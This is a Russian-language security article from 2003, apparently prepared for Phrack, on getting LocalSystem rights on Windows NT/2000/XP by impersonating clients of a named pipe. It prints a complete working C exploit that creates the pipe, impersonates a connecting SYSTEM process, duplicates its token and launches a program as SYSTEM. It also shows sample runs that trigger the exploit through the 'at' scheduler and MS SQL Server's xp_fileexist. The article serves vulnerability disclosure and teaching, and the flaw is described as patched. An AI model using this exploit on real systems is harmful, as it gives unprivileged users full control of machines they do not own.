|
Digital Scream
август, 2003
digitalscream@real.xakep.ru
Использование именованых каналов для локального повышения привилегий Для журнала Phrack #61
Операционные системы, созданные коропорацией Microsoft за последние
несколько лет, основаны на ядре Windows NT. Это решение, положительно
повлияло на безопасность выпускаемых ОС, относительно удаленных, а также
локальных атак. Но тем не менее остаются моменты, позволяющие получить
права системы на атакуемом компьютере. В основном это переполнения
стека, Heap области, а также другие уязвимости, имеющие место в
операционных системах других производителей. Но не стоит забывать о
ошибках, которые могут возникнуть в процессе непредвиденного
использования системных фукнкий. Такого рода ошибки возникают время от
времени и специфичны для каждой ОС. Windows не исключение, что уже было
не раз доказанно.
Специфичесские ошибки, чаще всего возникают в процессе работы локальных
пользователей. Это не есть факт, просто локальный пользователь может
воспользоваться намного большим колличеством функций, предоставляемых
Windows, нежели удаленный. Таким образом мы утверждаем, что существует
возможность повышения привилегий локального пользователя, которой можно
воспользоватся. Говоря о повышении привилегий, мы имееем ввиду получения
прав системы, чтобы не иметь никаких ограничений вообще. На данный
момент существует несколько способов добится желаемого, я в свою очередь
расскажу о наиболее новом из них.
Согласно MSDN, чтобы исполнить приложение от имени чужой учетной записи
следует использовать функции LogonUser() и CreateProcessAsUser().
LogonUser() требует в качестве параметров логин и пароль учетной записи,
в правах которой мы нуждаемся. Задачей LogonUser() является установка
прав доступа SE_ASSIGNPRIMARYTOKEN_NAME и SE_INCREASE_QUOTA_NAME для
дескриптора маркера пользователя. Эти права нам необходимы чтобы
использовать функцию CreateProcessAsUser(). Такими правами обладают
исключительно системные процессы, поэтому даже учетная запись
'Administrator', не может успешно выполнить CreateProcessAsUser().
Следовательно чтобы мы смогли исполнить приложение (например cmd.exe) с
правами системы, нам уже надо их иметь. Но поскольку нам не извесны
логин и пароль привилегиированного пользователя, то требуется найти иное
решение.
В данной статье пойдет речь о получении привилегий 'LocalSystem' с
помощью функции открытия файла. Дело в том, что для открытия файла
используется функция CreateFile(). Ее формат следующий:
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
Таким образом, открытие файла происходит следующим образом:
HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
Но для тех кто хороше знаком с организацией работы Windows, не секрет,
что данная функция имеет более широкое применение в работе ОС. С ее
помощью создаются или открываются файлы, директории, физичесские диски,
коммуникационные ресурсы, mailslot'ы и pipe'ы. В данном случае нас
интересует только последнее, а именно pipe(канал).
Каналы используются для пересылки данных в одном направлении между
дочерним и родительским процессами или между двумя дочерними процессами.
Операции чтения/записи в канал похожи на подобные операции при работе с
файлами.
Поименованные Каналы используются для двустороннего обмена данными между
процессом-сервером и одним или несколькими процессами-клиентами. Как и
анонимные каналы, они используют файлоподобный интерфейс, но, в отличие
от первых, пригодны также для обмена данными по сети.
Процедура создания поименованых каналов имеет такой вид:
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
В качестве названия именованого канала можно указать любое имя, но при
этом следует придерживатся определенного формата. Так, вполне приемлемым
именем будет "\\.\pipe\GetSys". В ОС Windows последовательность "\\.\"
автоматически добавляется к имени открываемого файла. Так при попытке
открытия файла "C:\boot.ini" система попытается обратиться к файлу
"\\.\C:\boot.ini".Этот формат также может быть использован при обращении
к файлам совмесно с UNC стандартом.
Эти знания дают нам возможность предполагать, что вполне возможно
заставить приложение работающее с пользовательским файлом, обратится к
именованному каналу. Так, если имя созданного нами канала
"\\.\pipe\GetSys", то следует обращатся к файлу
"\\ComputerName\pipe\GetSys". А это, в свою очередь, дает нам намного
больше возможностей для манипулирования маркером доступа.
impersonation token - маркер доступа, позволяющий захватить информацию о
правах клиента. Иными словами - это возможность сервера исполнить роль
клиента в системе безопасности. Сервером в данном случае выступает
именованный канал, по этому он может прадставится клиентом, который
пытался открыть файл. Это возможно, поскольку мы имеем относительно
клиента права SecurityImpersonation, а если быть точнее, то получаем их.
Если приложение имело системные права в системе, мы получаем возможность
изменения реестра, управления процессами и памятью, а также другие
возможности, ограниченные для обычного пользователя.
Реализовать такую атаку на практике достаточно просто. При написании
программы, использующую данную уязвимость, следует пойти по такому
сценарию:
[1] Создать именованый канал
После его создания, следует подождать подключения клиента. Чтобы
получить относительно него наивысшиую ступень доверия.
[2] Представиться клиентом
Поскольку предполагается, что приложение-клиент имеет системные
права, мы их получаем тоже.
[3] Получить все необходимые права
Вообщето нам нужны только:
- SE_ASSIGNPRIMARYTOKEN_NAME
- SE_INCREASE_QUOTA_NAME
- TOKEN_ALL_ACCESS
- TOKEN_DUBLICATE
Они необходимы нам, в основном, для использования функции
CreateProcessAsUser().Чтобы получить их, необходимо создать новый
маркер доступа с правами TOKEN_ALL_ACCESS.Благо мы имеем права на
выполнение данного действия,поскольку в уже получили системные
привилегии клиента.
[4] Исполнить необходимый програмный код
Это может быть чтение данных с реестра, установка HOOK'ов, а
также исполнение произвольных команд с правами системы. Я щитаю,
что наиболее интересным является последнее, поскольку мы получаем
возможность исполнения, уже готового, приложения для
специфичесских потребностей.
Как уже говорилось исполнить приложение, сохранив за ним привилегии
системы, можно используя функцию CreateProcessAsUser(). Мы снова
вернулись к началу данного материала, но на этот раз у нас уже есть все
необходимые привилегии. Права 'LocalSystem' у нас в руках.
Относительно реализации данного метода повышения привилегий, не должно
возникнуть никаких проблем. Но всеже мы рассмотрим конкретный пример
эксплоита от wirepair(at)sh0dan.org, который в свою очередь основан на
работе maceo(at)dogmile.com.
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;
if (argc != 2) {
fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
return 1;
}
memset(&si,0,sizeof(si));
sprintf(szPipe, "\\\\.\\pipe\\GetSys");
// create named pipe"\\.\pipe\GetSys"
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 2;
}
printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");
// initialize security descriptor to obtain client application
// privileges
pSD = (PSECURITY_DESCRIPTOR)
LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;
printf("Waiting for connection...\n");
// wait for client connect
ConnectNamedPipe (hPipe, NULL);
printf("Impersonate...\n");
// impersonate client
if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 3;
}
printf("Open Thread Token...\n");
// obtain maximum rights with TOKEN_ALL_ACCESS
if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u\n", dw);
CloseHandle(hToken);
return 4;
}
}
printf("Duplicating Token...\n");
// obtain TOKEN_DUBLICATE privilege
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
&sa,SecurityImpersonation,
TokenPrimary, &hToken2) == 0) {
printf("error in duplicate token\n");
printf("GetLastError: %u\n", dw);
return 5;
}
// fill pGeneric structure
pGeneric = new GENERIC_MAPPING;
pGeneric->GenericRead=FILE_GENERIC_READ;
pGeneric->GenericWrite=FILE_GENERIC_WRITE;
pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
pGeneric->GenericAll=FILE_ALL_ACCESS;
MapGenericMask( &dwAccessDesired, pGeneric );
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
ZeroMemory( &si, sizeof(STARTUPINFO));
si.cb = sizeof(si);
si.lpDesktop = NULL;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf("Creating New Process %s\n", argv[1]);
// create new process as user
if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
printf("GetLastError: %d\n", GetLastError());
}
// wait process to complete and exit
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(hPipe);
return 0;
}
Данная уязвимость, предоставляет нам возможность получить системные
привилегии на компьютере. Единственное необходимое условие, для успешной
атаки, это чтобы системный процесс обратился к именному каналу. Это
условие легко воссоздать, используя сервисы работающие с правами
системы. Следующий пример продимонстрирует это:
[shell 1]
>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...
[shell 2]
>time /T
18:15
>at 18:16 /interactive \\ComputerName\pipe\GetSys
New task added with code 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
После чего, запускается новый экземпляр консоли(cmd.exe), с правами
системы. Получается, что обычный пользователь, может без проблем
получить права системы. Воссоздать подобную ситуацию достаточно просто и
не должно потребовать от вас большего колличества усилий. Главное, чтобы
существовал сервис, который обращается к некоторым файлам. К сожалению
коммандой АТ может воспользоватся только администратор, и поэтому она не
подходит в реальных условиях.
На практике, данная уязвимость может использоваться локальным
пользователем, для повышения привилегий в системе с установленным
Microsoft SQL Server. Он запускается с правами системы, но может
использоваться непривилегиированными пользователями. Уязвимость была
найдена @stake, и связана с коммандой xp_fileexist. Эта комманда,
предназначена для проверки существования файла, а поэтому позволяет
проэксплуатировать данную уязвимость. Сценарий атаки очень похож на
прошлый:
[shell 1]
>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...
[shell 2]
>isql -U user
Password:
> xp_fileexist '\\ComputerName\pipe\GetSys'
> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
Но Microsoft уже выпустила патч устраняющий данную уязвимость в
Windows 2000 SP4. Хотя все зависит от администратора системы. Хочу
заметить, что уязвимость применима к ОС Windows NT/XP/2000. В
Windows Server 2003 и Windows 2000 SP4 единственные, не имеющие данной
уязвимости.
3APA3A помог мне с написанием англоязычного варианта данной статьи, а
также исправил некоторые неточности. За это ему огромное спасибо.
[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546
[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523
[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197
[4] Named Pipe Filename Local Privilege Escalation
http://www.atstake.com/research/advisories/2003/a070803-1.txt
[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
SecurityLevel5 это проект, цель которого анализ различных уязвимостей,
а также различных типов атак. Так же мы занимаемся коллективным
решением проблем связанных с компьютерной безопасностью. Принять
участие в работе проекта, может любой желающий. Для этого необходимы
интересные идеи или просто хорошие навыки программирования.
Так же на базе SecurityLevel5 создается игра "Security Games". Более
подробная информация о работе проекта станет доступной в начале
сентября 2003 года. На данный момент, вся информация относительно
работы проекта и его членов является конфиденциальной.
Если вы желаете принять участие в работе проекта SecurityLevel5,
напишите письмо с вашим резюме на почтовый ящик
digitalscream@real.xakep.ru с темой "SecurityLevel5 Resume".
Для сохранения конфиденциальности передаваемых данных, вы можете
воспользоваться публичным PGP ключем.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 8.0.2
mQENBD8vmgUBCADEYjrz+9G3hRzEZF2upNDgAOkaqxC9lbegCCoYT320kC1cLVa5
qVsxCdlUTGmZ55aXMslQkPv/pr2QLg/vGf+r3+cwu39Xs7exwUySqDpELhbRd6E4
OJAFShabLcCUmYum6jdzqCSRR9afB/W3u8qpi3TMQeTGDeS4sHHEI34Qs/Q1zYR8
bWpt0NGmXHlPXEFq6GGUXeQjrHWT+saduR3cvJ0/HI3km++37ZehfF+AOEBY+Mpo
JfM/sLKwR/2P0NUX7SV4e4BeFqS2zw6tWF4gCnz5IKmmcbZ2fTxdpOPDjZ6daBdG
Pz6Mi0Ky6Dxx6Y4RnAEABWq5w8hNjigm4NJxABEBAAG0LERpZ2l0YWwgU2NyZWFt
IDxkaWdpdGFsc2NyZWFtQHJlYWwueGFrZXAucnU+iQEtBBABAgAXBQI/L5oFBwsJ
CAcDAgoCGQEFGwMAAAAACgkQ+xRDiMBncxlPzwf9GN5NNP9uhVgGJgfGA7jndt8p
i+VYppKTpQD7HFdgcf6jK3UrpywoQicxoOj2PAGhPMYMq8mI7TfUrPIEsRtlqKzY
Mwvlw3i6huQId7IW3zke2TwWrs1axMfwc63YHlxuMjAo1GEGBLW/iDoF9jVknzkk
QrdSlW28EvNozNcfcU9qmQDzeWaqnk5nnBHhHhGu+rcOLnkudsgShKYXh4iJw36Q
gG89jvunMpqo01OKnR4NRNRrlsqtCaUgbloRF2djw75bHQQSydczoCZpXXuR0lOr
LHIjXF/ndpK8W2O39eCpXEAdoHd1CVsN5xIyXbg41LBVpi+MmMhrOVVpGuSUZbkB
DQQ/L5oGAQgA2cvqFyrlEYKs6qlUqhKhVLMAUG+MaL+c6KvfFVVCECMGHmLIWMSN
ijlYI4d3o9T+LfYfGndCIjHqTzQ+VMRD7FvUflXUKFukIzut9fw2eMQTM+MwRCC2
lyf4DZ683PIzdRBax1NMtl82ec1Uu5Ah0SUJFlDxZRuLwQs6zrLgppA50HiOtEY4
MvVte09nxCyNiYVXKLO6DlTljs1vM6s85yaPtA9+8X1aJlArkZ6UlV6ka4SPCx7V
IOFXw/Iwy1YKz6pd+8c+AOwbGFTT2+O5YFmcYyumXoAM7kvfR5ChED6VlXB4hDYU
ZV48gi8pXwzteFKbYUtJAabUZ8S9q9lJEQARAQABiQEiBBgBAgAMBQI/L5oGBRsM
AAAAAAoJEPsUQ4jAZ3MZAqgH/iEoh4jE3oV5FI49WGGz3I6d2R8NNWX6CBXHCY/v
6+JIQfULMJe4M88PINfs8R8DZmqRqXXAl0U2Sgjqr8sH2Tml9q2vGf2SdogMmlCe
DQBWtb6/dqDeKaIi5l2hJ1r3QUxaMWOeIvYyirMMug/uJy2wX4BLOO0UJ4rSPiD7
otzRU+a42G/gjHXpiazHbA9sLm7a+EU8fB5uuhNsmVv63c+Kj9D5ceRseDEm140h
uaYLckdQZLW3AWhgERVCkaasjpWPfO37dChtY9HQKsQB3yirvWwXXOKYBVU6AsJE
ecaKy7AY7cJtjeMsMI1ZRGlJRjZaBqbAGrIpxPKBtrWtDhc=
=nlTa
-----END PGP PUBLIC KEY BLOCK-----
|